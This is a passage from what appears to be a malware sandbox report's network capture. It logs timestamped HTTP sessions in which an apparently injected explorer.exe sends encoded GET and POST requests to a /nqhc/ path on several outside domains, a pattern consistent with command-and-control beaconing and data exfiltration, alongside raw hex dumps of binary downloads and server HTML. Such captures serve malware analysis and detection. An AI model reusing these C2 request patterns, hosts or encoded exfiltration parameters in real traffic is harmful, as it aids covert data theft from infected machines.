01 ce ee a4 5c 3a 9f e7 df bc 01 3d ed 3b 9e e3 35 ee ee 26 67 ed af 3f 23 9f 26 3c 27 11 17 40 f0 cd 0a a3 68 0c 12 34 12 08 c9 d7 db 67 cf a2 42 06 76 a3 17 d0 62 2d d3 bc bd 61 9a c8 96 6e a9 16 9f 32 27 d0 80 99 1f 0a b0 5b b9 68 04 4c de b0 bc d1 6c 65 53 ee c4 60 3e 50 d2 a0 6c ef bd b7 7b ba 68 f8 61 a3 39 59 03 93 1c a1 57 c0 6c fa dc 68 5c 9a 13 69 95 7e 90 30 fd 81 0a a1 05 d3 8b cc 09 70 0e fd 09 04 e6 c2 6d b9 2d ee cc 79 68 12 7c 27 c0 e3 c4 60 47 07 87 10 9f 5a 7c e6 58 27 2e 2f 0c 8e d6 82 26 a6 bb 4d cc 34 ea db cc b0 1f 7c f2 bd 8b 66 73 a2 c1 14 5a 92 a7 e3 9a 15 2e 4c a7 d3 3d ec bb cd 60 c1 05 54 63 99 fb 4a 55 a6 45 19 8c 93 eb Data Ascii: rmug${zdj+V&)Vta#"$I~?;^v^Hs<\|!IL.&iZIWg_L0$L`\|:lFLi $fyhi7<ZZKn84Wk5S&?KeRByYbp???}"3=oBb+vUuv)&<94D`$5=oR4bl=uT7&h4Yf2fmXlicjB~Qm$dz#x/D\|Qh9KR9pdJn3hg;Jyb?Cp^q_VLxoaa+@gU:E,V%qU>k3e </%M\:=;5&g?#&<'@h4gBvb-an2'[hLleS`>Pl{ha9YWlh\i~0pm-yh\|'`GZ\|X'./&M4\|fsZ.L=`TcJUE
Nov 21, 2022 19:22:48.192226887 CET	1216	IN	Data Raw: 60 8a 0a 38 21 44 b8 1d e3 98 65 06 d3 86 55 aa fd 39 43 39 ab cc 16 b3 12 ae ea f3 f7 97 9f b2 f8 f7 58 0a 17 8d 04 18 ca f9 43 f7 47 96 1d c8 f0 83 84 8b f0 c2 20 0f a5 2f d4 f4 5b 5a b3 e5 45 23 12 cc ba ac 72 55 13 bb e5 45 96 29 6d f2 e9 2d Data Ascii: `8!DeU9C9XCG /[ZE#rUE)m-)8"\|1~Sw/#@&o\|E[4oytVf>&HpvK;Ve4w]L4p{fV?h8h{ngn5zG{7yguzV?lMY
Nov 21, 2022 19:22:48.192244053 CET	1217	IN	Data Raw: 51 07 ef 25 39 09 cb e9 76 19 b7 19 0b 43 2e e3 b1 e7 f8 3d 48 89 ef 74 06 f8 9e a4 4c c7 5c 52 a3 b2 b1 bb 3e cc 14 72 4c c7 ee 23 9c 12 60 16 71 9f 4d e2 1d 34 6e 25 fe bd 48 e7 5e a4 7b 2f d2 bb 17 e9 9f 36 d2 23 ac 51 1b 16 a3 e3 93 03 15 79 Data Ascii: Q%9vC.=HtL\R>rL#`qM4n%H^{/6#QyN.mpW9B0}KWvP,+-3TPqunc@FB13~tq$81c?s;A%RF3GJ"@,h.xuCwj<O@E
Nov 21, 2022 19:22:48.192260027 CET	1219	IN	Data Raw: f7 f3 f3 8c 05 40 67 60 e6 00 f2 5e dd de ed 9d 93 07 1a df 28 09 0b d1 35 56 af db 99 d2 f8 3d 76 27 81 e0 d9 58 a3 36 17 5e b6 68 ed fc 37 cb 2b 9a 31 93 8c b9 c4 f5 5e f4 dc 77 9b 93 04 2c d3 31 26 4c 52 74 21 97 63 6a bf d5 0d e8 48 a8 f9 38 Data Ascii: @g`^(5V=v'X6^h7+1^w,1&LRt!cjH8ar02~fi54S0iH#V.9PB;aVs-vUvM0l-AbM=dnF\|x],B4+.[0%c?wIpQ
Nov 21, 2022 19:22:48.192276955 CET	1220	IN	Data Raw: c3 ca b9 0c ff b7 be ab 01 3c 9a 7b 32 7c 0e 81 92 e8 b5 e5 e3 e8 9b d4 93 c1 0d 68 c3 4f c2 5e 67 3e b0 1e cd 53 4c 78 5c 93 fa c4 d3 80 1f 52 a3 36 ef 34 d8 07 74 a8 4b bb 07 1a 29 69 68 ce bf 40 d8 3c 65 42 8c 89 a7 21 3d 9e 94 42 c8 8b 14 b3 Data Ascii: <{2\|hO^g>SLx\R64tK)ih@<eB!=B=)Nyuf X][s3o)Xy/siL*z_py1`Fbm>Q3Te>g2o`VHS>`0B=(1y 'U<Pcx^s""u0y.cJ}wL\
Nov 21, 2022 19:22:48.192333937 CET	1221	IN	Data Raw: 4d f2 8c a7 99 d2 86 49 b3 c2 08 96 4c e2 65 c1 f3 84 a2 e4 cb 13 e1 0e cb 6a 90 e7 09 37 70 22 5c 99 5b 83 91 31 01 34 c3 5d 9d 88 b3 c9 af c1 ba e1 37 3c a4 1a c2 13 b1 36 f9 35 58 a2 48 b9 54 c5 1a 14 97 23 e3 53 67 ad ad 7d bc 07 4b 67 e8 c8 Data Ascii: MILej7p"\[14]7<65XHT#Sg}Kg'(K:XodjevUGqBg@Hi*6XpJhh2<u)UvNH,uZb5k<fjrVopDsCg\N7TC
Nov 21, 2022 19:22:48.192349911 CET	1223	IN	Data Raw: 4d cf 51 dd 73 d2 46 86 79 a0 79 66 08 aa 7c 62 4b 2e 03 51 84 d8 6c 86 5b b9 ce db 92 dd f0 98 19 ae 64 fb 86 c3 dc 49 b9 74 3e af 1a 06 7e b7 d3 71 a3 7e a7 17 f5 82 d9 28 ec 81 0b d5 f4 88 53 96 d3 6d 35 b5 d5 f4 f3 fc fc 0a e5 2b 49 bd 05 76 Data Ascii: MQsFyyf\|bK.Ql[dIt>~q~(Sm5+Iv4U!y?Y;\|X~T^^:N**%n[MSkf`C8il$rd2vrt$zZs\|1eRu~cF'}z;,YdIMMwy$ 7uw+
Nov 21, 2022 19:22:48.192364931 CET	1224	IN	Data Raw: ca ef bf 11 bf cf 50 46 aa 50 b0 18 7e 6b ed be 6b 76 7f d0 db b3 ed c3 06 77 9d 3e 56 74 7b 2b 04 ff 64 bf 0f ef f9 dd 1b f5 dd c1 b0 db f1 3a 03 bf b7 83 f3 ad 07 70 bc 15 d5 76 8d 3c 1b cd d0 33 40 b8 f4 a7 8d e7 aa d0 01 7c a4 59 96 f0 a0 41 Data Ascii: PFP~kkvw>Vt{+d:pv<3@\|YAT.W0zQ9dcq=yQ:n4=jQbdCO)?#aq"A"nxg\pr%" 2cBG-&DoQyFBG#!!e?cuu
Nov 21, 2022 19:22:48.192379951 CET	1225	IN	Data Raw: f2 d5 30 85 ca 4b 07 cf b8 0c 01 e7 a0 de fd e5 94 49 15 f6 2b 81 87 9c 09 15 d7 f9 67 c5 d4 e2 ed 1a 6f df 63 5f fe e5 7f 2b 3d 56 4b e7 d5 9d 57 8d 5a f9 ea 89 06 3a 62 c7 d3 7c 95 31 93 10 5c d6 c7 5e 87 78 9e 33 14 7d c7 a3 7d a7 43 3d 6a df Data Ascii: 0KI+goc_+=VKWZ:b\|1\^x3}}C=j;>b>={sT>/mT_ 6q:c1PsL:/_RRIr}<&)hjUe6xBpy}QI?16K:?l3Zp\|b#v^v
Nov 21, 2022 19:22:48.192393064 CET	1226	IN	Data Raw: fe dd d9 63 2a 8c 23 15 14 f9 4a 0b 16 5c 5b e7 ca 10 5d 2d 14 aa f2 0e 00 ec 08 c3 0a a3 0e 19 ed 48 22 95 5c 65 af aa bb dd 6e 79 0e 79 9e 09 b6 1c 93 d2 cc 65 28 52 d2 a0 ab bf 00 1c 06 d2 3d 09 6d 97 32 20 20 c2 63 6f 35 2b 0e 00 74 9d 53 4d Data Ascii: c#J\[]-H"\enyye(R=m2 co5+tSMjJ(]7+U7\@HTJ-Kk]4~^h*0MC?E!S)HQz:Lr2.Ie\|3wC#fT&A: )V

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.11.20	49871	50.87.192.144	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:22:49.744021893 CET	1226	OUT	GET /nqhc/?r4txB=YpBcfthyu6gwcnN/g9jRvpxtfUkdEaz6LsXfXUppEZSnE0c1g3RTY5b27kCACk8vV3w0fGJq4rusk2G49vjJdiO+izISunFXUA==&1b=S8jD HTTP/1.1 Host: www.xn--29-oj9ik7b890b.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:22:50.061022043 CET	1228	IN	HTTP/1.1 404 Not Found Date: Mon, 21 Nov 2022 18:22:49 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://xn--299aa717y.xn--3e0b707e/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 37 37 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6b 6f 2d 4b 52 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 74 69 74 6c 65 3e ed 8e 98 ec 9d b4 ec a7 80 eb a5 bc 20 ec b0 be ec 9d 84 20 ec 88 98 20 ec 97 86 ec 9d 8c 20 26 23 38 32 31 31 3b 20 67 6f 67 6f 74 6f 70 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 78 6e 2d 2d 32 39 39 61 61 37 31 37 79 2e 78 6e 2d 2d 33 65 30 62 37 30 37 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 67 6f 67 6f 74 6f 70 20 26 72 61 71 75 6f 3b 20 ed 94 bc eb 93 9c 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 78 6e 2d 2d 32 39 39 61 61 37 31 37 79 2e 78 6e 2d 2d 33 65 30 62 37 30 37 65 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 67 6f 67 6f 74 6f 70 20 26 72 61 71 75 6f 3b 20 eb 8c 93 ea b8 80 20 ed 94 bc eb 93 9c 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 78 6e 2d 2d 32 39 39 61 61 37 31 37 79 2e 78 6e 2d 2d 33 65 30 62 37 30 37 65 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 73 63 72 69 70 74 3e 0a 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 34 2e 30 2e 30 5c 2f 73 76 67 5c 2f 22 2c 22 73 76 67 45 78 74 22 3a 22 2e 73 76 67 22 2c 22 73 6f 75 72 Data Ascii: 277a<!DOCTYPE html><html lang="ko-KR"><head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><meta name='robots' content='noindex, nofollow' /><title> – gogotop</title><link rel='dns-prefetch' href='//xn--299aa717y.xn--3e0b707e' /><link rel="alternate" type="application/rss+xml" title="gogotop » " href="http://xn--299aa717y.xn--3e0b707e/feed/" /><link rel="alternate" type="application/rss+xml" title="gogotop » " href="http://xn--299aa717y.xn--3e0b707e/comments/feed/" /><script>window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/14.0.0\/svg\/","svgExt":".svg","sour
Nov 21, 2022 19:22:50.061095953 CET	1229	IN	Data Raw: 63 65 22 3a 7b 22 63 6f 6e 63 61 74 65 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 78 6e 2d 2d 32 39 39 61 61 37 31 37 79 2e 78 6e 2d 2d 33 65 30 62 37 30 37 65 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 Data Ascii: ce":{"concatemoji":"http:\/\/xn--299aa717y.xn--3e0b707e\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.1.1"}};/! This file is auto-generated /!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");functi
Nov 21, 2022 19:22:50.061151028 CET	1230	IN	Data Raw: 65 72 79 74 68 69 6e 67 26 26 74 2e 73 75 70 70 6f 72 74 73 5b 6f 5b 72 5d 5d 2c 22 66 6c 61 67 22 21 3d 3d 6f 5b 72 5d 26 26 28 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3d 74 2e 73 75 70 70 6f Data Ascii: erything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=funct
Nov 21, 2022 19:22:50.061203957 CET	1232	IN	Data Raw: 6f 20 69 6d 67 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 69 6e 68 65 72 69 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 69 74 65 2d 6c 6f 67 6f 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 Data Ascii: o img{border-radius:inherit}.wp-block-site-logo.aligncenter{margin-left:auto;margin-right:auto;text-align:center}.wp-block-site-logo.is-style-rounded{border-radius:9999px}</style><style id='wp-block-site-title-inline-css'>.wp-block-site-tit
Nov 21, 2022 19:22:50.061291933 CET	1233	IN	Data Raw: 6f 6e 29 29 7b 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 77 70 2d 62 6c 6f 63 6b 2d 74 65 6d 70 6c 61 74 65 2d 70 61 72 74 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 3e 0a 2e 77 70 2d Data Ascii: on)){color: inherit;}</style><style id='wp-block-template-part-inline-css'>.wp-block-template-part.has-background{padding:1.25em 2.375em;margin-top:0;margin-bottom:0}</style><style id='wp-block-heading-inline-css'>h1.has-background,h2.ha
Nov 21, 2022 19:22:50.061353922 CET	1234	IN	Data Raw: 63 68 5f 5f 6c 61 62 65 6c 7b 77 69 64 74 68 3a 31 30 30 25 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 65 61 72 63 68 5f 5f 69 6e 70 75 74 7b 70 61 64 64 69 6e 67 3a 38 70 78 3b 66 6c 65 78 2d 67 72 6f 77 3a 31 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 Data Ascii: ch__label{width:100%}.wp-block-search__input{padding:8px;flex-grow:1;margin-left:0;margin-right:0;min-width:3em;border:1px solid #949494;text-decoration:unset!important}.wp-block-search.wp-block-search__button-only .wp-block-search__button{mar
Nov 21, 2022 19:22:50.061407089 CET	1236	IN	Data Raw: 70 78 7d 40 6d 65 64 69 61 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 2c 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 3a 72 6f 6f 74 7b 2d 2d 77 70 2d 61 64 Data Ascii: px}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}:root .has-very-lig
Nov 21, 2022 19:22:50.061460972 CET	1237	IN	Data Raw: 2e 68 61 73 2d 68 75 67 65 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 68 75 67 65 29 7d 2e 68 61 73 2d 74 65 78 74 2d 61 6c 69 67 6e 2d 63 Data Ascii: .has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}.has-text-align-center{text-align:center}.has-text-align-left{text-align:left}.has-text-align-right{text-align:right}#end-resizable-editor-section{display:none}.aligncenter{clear
Nov 21, 2022 19:22:50.061534882 CET	1237	IN	Data Raw: 6f 70 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 68 74 6d 6c 20 3a 77 68 65 72 65 28 5b 73 74 79 6c 65 2a 3d 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 77 69 64 74 68 5d 29 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 7d 68 Data Ascii: op-style:solid}html :where([style=border-right-width]){border-right-style:solid}html :where([style=border-bottom-width]){border-bottom-style:solid}html :where([style=border-left-width]){border-left-style:solid}html :where(img[class=wp-imag
Nov 21, 2022 19:22:50.061598063 CET	1239	IN	Data Raw: 34 30 30 30 0d 0a 3c 73 74 79 6c 65 20 69 64 3d 27 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 30 30 30 Data Ascii: 4000<style id='global-styles-inline-css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf
Nov 21, 2022 19:22:50.224834919 CET	1240	IN	Data Raw: 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 76 65 72 79 2d 6c 69 67 68 74 2d 67 72 61 79 2d 74 6f 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 Data Ascii: 00%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,r

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.11.20	49872	195.24.68.23	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:22:55.588579893 CET	1276	OUT	POST /nqhc/ HTTP/1.1 Host: www.phootka.ru Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.phootka.ru User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.phootka.ru/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 71 7a 73 4a 57 71 35 6b 67 56 6c 4e 30 30 74 7a 54 4a 7e 72 30 38 51 59 39 58 46 69 39 5a 33 54 5a 69 32 4f 42 71 77 42 77 57 32 67 68 45 5a 36 6e 37 31 4e 41 37 76 47 31 48 68 53 62 39 56 2d 78 51 73 74 38 41 4d 59 73 67 65 54 6b 6d 7a 53 28 35 79 34 79 63 79 6f 76 72 64 39 35 6c 6e 44 49 5a 28 51 4f 71 48 6f 37 76 37 38 53 31 67 53 46 58 62 63 56 50 74 30 47 6e 42 79 68 56 62 52 6e 53 6a 65 39 58 72 68 34 6b 73 36 50 4d 4c 35 4e 6d 4e 76 4e 4e 64 5f 5a 37 30 4c 50 49 6d 74 6a 55 4c 41 4e 45 7a 2d 44 4f 33 37 71 68 7a 34 66 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=qzsJWq5kgVlN00tzTJ~r08QY9XFi9Z3TZi2OBqwBwW2ghEZ6n71NA7vG1HhSb9V-xQst8AMYsgeTkmzS(5y4ycyovrd95lnDIZ(QOqHo7v78S1gSFXbcVPt0GnByhVbRnSje9Xrh4ks6PML5NmNvNNd_Z70LPImtjULANEz-DO37qhz4fA).
Nov 21, 2022 19:22:55.633491993 CET	1277	IN	HTTP/1.1 404 Not Found Server: openresty Date: Mon, 21 Nov 2022 18:22:55 GMT Content-Type: text/html; charset=utf-8 Content-Length: 39481 Connection: close Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 77 67 68 74 40 34 30 30 3b 37 30 30 26 61 6d 70 3b 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 79 61 73 74 61 74 69 63 2e 6e 65 74 2f 70 63 6f 64 65 2f 61 64 66 6f 78 2f 6c 6f 61 64 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 3e 0a 76 61 72 20 70 75 6e 79 63 6f 64 65 20 3d 20 6e 65 77 20 66 75 6e 63 74 69 6f 6e 20 50 75 6e 79 63 6f 64 65 28 29 20 7b 0a 20 20 20 20 74 68 69 73 2e 75 74 66 31 36 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 64 65 63 6f 64 65 3a 66 75 6e 63 74 69 6f 6e 28 69 6e 70 75 74 29 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 70 75 74 20 3d 20 5b 5d 2c 20 69 3d 30 2c 20 6c 65 6e 3d 69 6e 70 75 74 2e 6c 65 6e 67 74 68 2c 76 61 6c 75 65 2c 65 78 74 72 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 68 69 6c 65 20 28 69 20 3c 20 6c 65 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 38 30 30 29 20 3d 3d 3d 20 30 78 44 38 30 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 78 74 72 61 20 3d 20 69 6e 70 75 74 2e 63 68 61 72 43 6f 64 65 41 74 28 69 2b 2b 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 20 28 28 76 61 6c 75 65 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 38 30 30 29 20 7c 7c 20 28 28 65 78 74 72 61 20 26 20 30 78 46 43 30 30 29 20 21 3d 3d 20 30 78 44 43 30 30 29 20 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 54 46 2d 31 36 28 64 65 63 6f 64 65 29 3a 20 49 6c 6c 65 67 61 6c 20 55 54 46 2d 31 36 20 73 65 71 75 65 6e 63 65 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 6c 75 65 20 3d 20 28 28 76 61 6c 75 65 20 26 20 30 78 33 46 46 29 20 3c 3c 20 31 30 29 20 2b 20 28 65 78 74 72 61 20 26 20 30 78 33 46 46 29 20 2b 20 30 78 31 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title> 404</title> <link href="https://fonts.googleapis.com/css2?family=Noto+Sans:wght@400;700&display=swap" rel="stylesheet"> <script src="https://yastatic.net/pcode/adfox/loader.js" crossorigin="anonymous"></script> <script type="text/javascript" language="javascript" >var punycode = new function Punycode() { this.utf16 = { decode:function(input){ var output = [], i=0, len=input.length,value,extra; while (i < len) { value = input.charCodeAt(i++); if ((value & 0xF800) === 0xD800) { extra = input.charCodeAt(i++); if ( ((value & 0xFC00) !== 0xD800) \|\| ((extra & 0xFC00) !== 0xDC00) ) { throw new RangeError("UTF-16(decode): Illegal UTF-16 sequence"); } value = ((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000; }
Nov 21, 2022 19:22:55.633565903 CET	1278	IN	Data Raw: 6f 75 74 70 75 74 2e 70 75 73 68 28 76 61 6c 75 65 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6f 75 74 70 75 74 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 65 6e Data Ascii: output.push(value); } return output; }, encode:function(input){ var output = [], i=0, len=input.length,value; while (i < len) { value = input[i++];
Nov 21, 2022 19:22:55.633621931 CET	1280	IN	Data Raw: 74 61 20 2f 20 64 61 6d 70 29 20 3a 20 28 64 65 6c 74 61 20 3e 3e 20 31 29 3b 0a 20 20 20 20 20 20 20 20 64 65 6c 74 61 20 2b 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 64 65 6c 74 61 20 2f 20 6e 75 6d 70 6f 69 6e 74 73 29 3b 0a 0a 20 20 20 20 20 20 Data Ascii: ta / damp) : (delta >> 1); delta += Math.floor(delta / numpoints); for (k = 0; delta > (((base - tmin) * tmax) >> 1); k += base) { delta = Math.floor(delta / ( base - tmin )); } return Math.floo
